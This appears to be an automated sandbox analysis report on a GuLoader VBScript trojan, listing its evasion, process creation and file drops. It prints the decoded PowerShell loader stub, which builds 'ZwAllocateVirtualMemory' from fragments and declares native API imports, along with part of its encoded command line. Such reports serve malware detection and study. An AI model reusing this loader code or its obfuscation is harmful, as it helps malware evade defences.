Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xkdnk0ke.qps.ps1 Jump to behavior
Source: classification engine Classification label: mal80.troj.evad.winVBS@8/8@0/1
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: Binary string: k7C:\Users\user\AppData\Local\Temp\b0raocps\b0raocps.pdb source: powershell.exe, 00000004.00000002.801494394.000000000549D000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation
barindex
VBScript performs obfuscated calls to suspicious functions
Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: ShellExecute("C:\Windows\SysWOW64\WindowsPowerShell\v", "-EncodedCommand "IwBOAGUAbABzACAAUABhAH", "", "", "0")
Yara detected GuLoader
Source: Yara match File source: 00000004.00000002.825442498.0000000009710000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Compiles C# or VB.Net code
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\b0raocps\b0raocps.cmdline
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\b0raocps\b0raocps.cmdline Jump to behavior
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\b0raocps\b0raocps.dll Jump to dropped file
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5769 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1280 Thread sleep time: -15679732462653109s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1280 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\b0raocps\b0raocps.dll Jump to dropped file
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: powershell.exe, 00000004.00000002.804163469.00000000055C9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: k:C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Hyper-V
Source: powershell.exe, 00000004.00000002.804163469.00000000055C9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V
Source: powershell.exe, 00000004.00000002.796874902.0000000005265000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: k:C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Hyper-Vom
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior

HIPS / PFW / Operating System Protection Evasion
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Encrypted powershell cmdline option found
Source: C:\Windows\System32\wscript.exe Process created: Base64 decoded #Nels Parapsyk Antih Dudelsac desul Murphied Mldr Louthe Accumbentk Pectoralis Duvet Opsprtn neddies Udsving Analysea Faresglo Demar Bluebel Couridah offlic #Rullest Lachrymat Barythym Maris tolseykul Uudslukke Satsbille Alvidend Udgangsfor Vedga Ferielukn Reyk Chasser Equalli Forsten muski Unpeel Spekta Jungmandun indukt Isol Skelnemrk Dgnfl Folkere Afpasn Dally Landgangs Henriksen Molbohis Sanering Grutn Stakladern Arch $C32 = [char]34 + "Z" + "wA"+"ll"+"oc"+"ateVir"+"tualM"+"e"+"m"+"ory" + [char]34#Commanding underbe Aporr Unfutil Julianistb Bagkldning Seren Conv Osteopla Unprefera Samme Semispira Regensiane Fehso Skov Komplette Redse Disputdag Fauc Semi galact Noropianic Millisekun Begrebsd Kdfar Misogy Topforsp Cprf livsbeti Ordre Mldeinodo Eksamen Uddannelse Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Skyd1{[DllImport("kernel32.dll")]public static extern IntPtr EnumTimeFormatsA(uint Derivativt5,int Derivativt6, int Derivativt7);[DllImport("kernel32.dll")]public static extern IntPtr CreatePipe(uint Derivativt5,int Derivativt6, int Derivativt7);[DllImport("ntdll.dll", EntryPoint=$C32)]public static extern int Fida(int Skyd6,ref Int32 lndgh,int Derivativt,ref Int32 Skyd,int Rgende142,int Skyd7);[DllImport("kernel32.dll")]public static extern IntPtr GetFileTime(uint Derivativt5,int Derivativt6);}"@#borts Fygehent Ostindiefa Densificat Excel udenrigsm vasicentri Wineskinav Skibs
Source: C:\Windows\System32\wscript.exe Process created: Base64 decoded #Nels Parapsyk Antih Dudelsac desul Murphied Mldr Louthe Accumbentk Pectoralis Duvet Opsprtn neddies Udsving Analysea Faresglo Demar Bluebel Couridah offlic #Rullest Lachrymat Barythym Maris tolseykul Uudslukke Satsbille Alvidend Udgangsfor Vedga Ferielukn Reyk Chasser Equalli Forsten muski Unpeel Spekta Jungmandun indukt Isol Skelnemrk Dgnfl Folkere Afpasn Dally Landgangs Henriksen Molbohis Sanering Grutn Stakladern Arch $C32 = [char]34 + "Z" + "wA"+"ll"+"oc"+"ateVir"+"tualM"+"e"+"m"+"ory" + [char]34#Commanding underbe Aporr Unfutil Julianistb Bagkldning Seren Conv Osteopla Unprefera Samme Semispira Regensiane Fehso Skov Komplette Redse Disputdag Fauc Semi galact Noropianic Millisekun Begrebsd Kdfar Misogy Topforsp Cprf livsbeti Ordre Mldeinodo Eksamen Uddannelse Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Skyd1{[DllImport("kernel32.dll")]public static extern IntPtr EnumTimeFormatsA(uint Derivativt5,int Derivativt6, int Derivativt7);[DllImport("kernel32.dll")]public static extern IntPtr CreatePipe(uint Derivativt5,int Derivativt6, int Derivativt7);[DllImport("ntdll.dll", EntryPoint=$C32)]public static extern int Fida(int Skyd6,ref Int32 lndgh,int Derivativt,ref Int32 Skyd,int Rgende142,int Skyd7);[DllImport("kernel32.dll")]public static extern IntPtr GetFileTime(uint Derivativt5,int Derivativt6);}"@#borts Fygehent Ostindiefa Densificat Excel udenrigsm vasicentri Wineskinav Skibs Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGUAbABzACAAUABhAHIAYQBwAHMAeQBrACAAQQBuAHQAaQBoACAARAB1AGQAZQBsAHMAYQBjACAAZABlAHMAdQBsACAATQB1AHIAcABoAGkAZQBkACAATQBsAGQAcgAgAEwAbwB1AHQAaABlACAAQQBjAGMAdQBtAGIAZQBuAHQAawAgAFAAZQBjAHQAbwByAGEAbABpAHMAIABEAHUAdgBlAHQAIABPAHAAcwBwAHIAdABuACAAbgBlAGQAZABpAGUAcwAgAFUAZABzAHYAaQBuAGcAIABBAG4AYQBsAHkAcwBlAGEAIABGAGEAcgBlAHMAZwBsAG8AIABEAGUAbQBhAHIAIABCAGwAdQBlAGIAZQBsACAAQwBvAHUAcgBpAGQAYQBoACAAbwBmAGYAbABpAGMAIAANAAoAIwBSAHUAbABsAGUAcwB0ACAATABhAGMAaAByAHkAbQBhAHQAIABCAGEAcgB5AHQAaAB5AG0AIABNAGEAcgBpAHMAIAB0AG8AbABzAGUAeQBrAHUAbAAgAFUAdQBkAHMAbAB1AGsAawBlACAAUwBhAHQAcwBiAGkAbABsAGUAIABBAGwAdgBpAGQAZQBuAGQAIABVAGQAZwBhAG4AZwBzAGYAbwByACAAVgBlAGQAZwBhACAARgBlAHIAaQBlAGwAdQBrAG4AIABSAGUAeQBrACAAQwBoAGEAcwBzAGUAcgAgAEUAcQB1AGEAbABsAGkAIABGAG8AcgBzAHQAZQBuACAAbQB1AHMAawBpACAAVQBuAHAAZQBlAGwAIABTAHAAZQBrAHQAYQAgAEoAdQBuAGcAbQBhAG4AZAB1AG4AIABpAG4AZAB1AGsAdAAgAEkAcwBvAGwAIABTAGsAZQBsAG4AZQBtAHIAawAgAEQAZwBuAGYAbAAgAEYAbwBsAGsAZQByAGUAIABBAGYAcABhAHMAbgAgAEQAYQBsAGwAeQAgAEwAYQBuAGQAZwBhAG4AZwBzACAASABlAG4AcgBpAGsAcwBlAG4AIABNAG8AbABiAG8AaABpAHMAIABTAGEAbgBlAHIAaQBuAGcAIABHAHIAdQB0AG4AIABTAHQAYQBrAGwAYQBkAGUAcgBuACAAQQByAGMAaAAgAA0ACgAkAEMAMwAyACAAPQAgAFsAYwBoAGEAcgBdADMANAAgACsAIAAiAFoAIgAgACsAIAAiAHcAQQAiACsAIgBsAGwAIgArACIAbwBjACIAKwAiAGEAdABlAFYAaQByACIAKwAiAHQAdQBhAGwATQAiACsAIgBlACIAKwAiAG0AIgArACIAbwByAHkAIgAgACsAIABbAGMAaABhAHIAXQAzADQADQAKACMAQwBvAG0AbQBhAG4AZABpAG4AZwAgAHUAbgBkAGUAcgBiAGUAIABBAHAAbwByAHIAIABVAG4AZgB1AHQAaQBsACAASgB1AGwAaQBhAG4AaQBzAHQAYgAgAEIAYQBnAGsAbABkAG4AaQBuAGcAIABTAGUAcgBlAG4AIABDAG8AbgB2ACAATwBzAHQAZQBvAHAAbABhACAAVQBuAHAAcgBlAGYAZQByAGEAIABTAGEAbQBtAGUAIABTAGUAbQBpAHMAcABpAHIAYQAgAFIAZQBnAGUAbgBzAGkAYQBuAGUAIABGAGUAaABzAG8AIABTAGsAbwB2ACAASwBvAG0AcABsAGUAdAB0AGUAIABSAGUAZABzAGUAIABEAGkAcwBwAHUAdABkAGEAZwAgAEYAYQB1AGMAIABTAGUAbQBpACAAZwBhAGwAYQBjAHQAIABOAG8AcgBvAHAAaQBhAG4AaQBjACAATQBpAGwAbABpAHMAZQBrAHUAbgAgAEIAZQBnAHIAZQBiAHMAZAAgAEsAZABmAGEAcgAgAE0AaQBzAG8AZwB5ACAAVABvAHAAZgBvAHIAcwBwACAAQwBwAHIAZgAgAGwAaQB2AHMAYgBlAHQAaQAgAE8AcgBkAHIAZQAgAE0AbABkAGUAaQBuAG8AZABvACAARQBrAHMAYQBtAGUAbgAgAFUAZABkAGEAbgBuAGUAbABzAGUAIAANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGsAeQBkADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARQBuAHUAbQBUAGkAbQBlAEYAbwByAG0AYQB0AHMAQQAoAHUAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADUALABpAG4AdAAgAEQAZQByAGkAdgBhAHQAaQB2AHQANgAsACAAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADcAKQA7AA0ACgANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUA
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGUAbABzACAAUABhAHIAYQBwAHMAeQBrACAAQQBuAHQAaQBoACAARAB1AGQAZQBsAHMAYQBjACAAZABlAHMAdQBsACAATQB1AHIAcABoAGkAZQBkACAATQBsAGQAcgAgAEwAbwB1AHQAaABlACAAQQBjAGMAdQBtAGIAZQBuAHQAawAgAFAAZQBjAHQAbwByAGEAbABpAHMAIABEAHUAdgBlAHQAIABPAHAAcwBwAHIAdABuACAAbgBlAGQAZABpAGUAcwAgAFUAZABzAHYAaQBuAGcAIABBAG4AYQBsAHkAcwBlAGEAIABGAGEAcgBlAHMAZwBsAG8AIABEAGUAbQBhAHIAIABCAGwAdQBlAGIAZQBsACAAQwBvAHUAcgBpAGQAYQBoACAAbwBmAGYAbABpAGMAIAANAAoAIwBSAHUAbABsAGUAcwB0ACAATABhAGMAaAByAHkAbQBhAHQAIABCAGEAcgB5AHQAaAB5AG0AIABNAGEAcgBpAHMAIAB0AG8AbABzAGUAeQBrAHUAbAAgAFUAdQBkAHMAbAB1AGsAawBlACAAUwBhAHQAcwBiAGkAbABsAGUAIABBAGwAdgBpAGQAZQBuAGQAIABVAGQAZwBhAG4AZwBzAGYAbwByACAAVgBlAGQAZwBhACAARgBlAHIAaQBlAGwAdQBrAG4AIABSAGUAeQBrACAAQwBoAGEAcwBzAGUAcgAgAEUAcQB1AGEAbABsAGkAIABGAG8AcgBzAHQAZQBuACAAbQB1AHMAawBpACAAVQBuAHAAZQBlAGwAIABTAHAAZQBrAHQAYQAgAEoAdQBuAGcAbQBhAG4AZAB1AG4AIABpAG4AZAB1AGsAdAAgAEkAcwBvAGwAIABTAGsAZQBsAG4AZQBtAHIAawAgAEQAZwBuAGYAbAAgAEYAbwBsAGsAZQByAGUAIABBAGYAcABhAHMAbgAgAEQAYQBsAGwAeQAgAEwAYQBuAGQAZwBhAG4AZwBzACAASABlAG4AcgBpAGsAcwBlAG4AIABNAG8AbABiAG8AaABpAHMAIABTAGEAbgBlAHIAaQBuAGcAIABHAHIAdQB0AG4AIABTAHQAYQBrAGwAYQBkAGUAcgBuACAAQQByAGMAaAAgAA0ACgAkAEMAMwAyACAAPQAgAFsAYwBoAGEAcgBdADMANAAgACsAIAAiAFoAIgAgACsAIAAiAHcAQQAiACsAIgBsAGwAIgArACIAbwBjACIAKwAiAGEAdABlAFYAaQByACIAKwAiAHQAdQBhAGwATQAiACsAIgBlACIAKwAiAG0AIgArACIAbwByAHkAIgAgACsAIABbAGMAaABhAHIAXQAzADQADQAKACMAQwBvAG0AbQBhAG4AZABpAG4AZwAgAHUAbgBkAGUAcgBiAGUAIABBAHAAbwByAHIAIABVAG4AZgB1AHQAaQBsACAASgB1AGwAaQBhAG4AaQBzAHQAYgAgAEIAYQBnAGsAbABkAG4AaQBuAGcAIABTAGUAcgBlAG4AIABDAG8AbgB2ACAATwBzAHQAZQBvAHAAbABhACAAVQBuAHAAcgBlAGYAZQByAGEAIABTAGEAbQBtAGUAIABTAGUAbQBpAHMAcABpAHIAYQAgAFIAZQBnAGUAbgBzAGkAYQBuAGUAIABGAGUAaABzAG8AIABTAGsAbwB2ACAASwBvAG0AcABs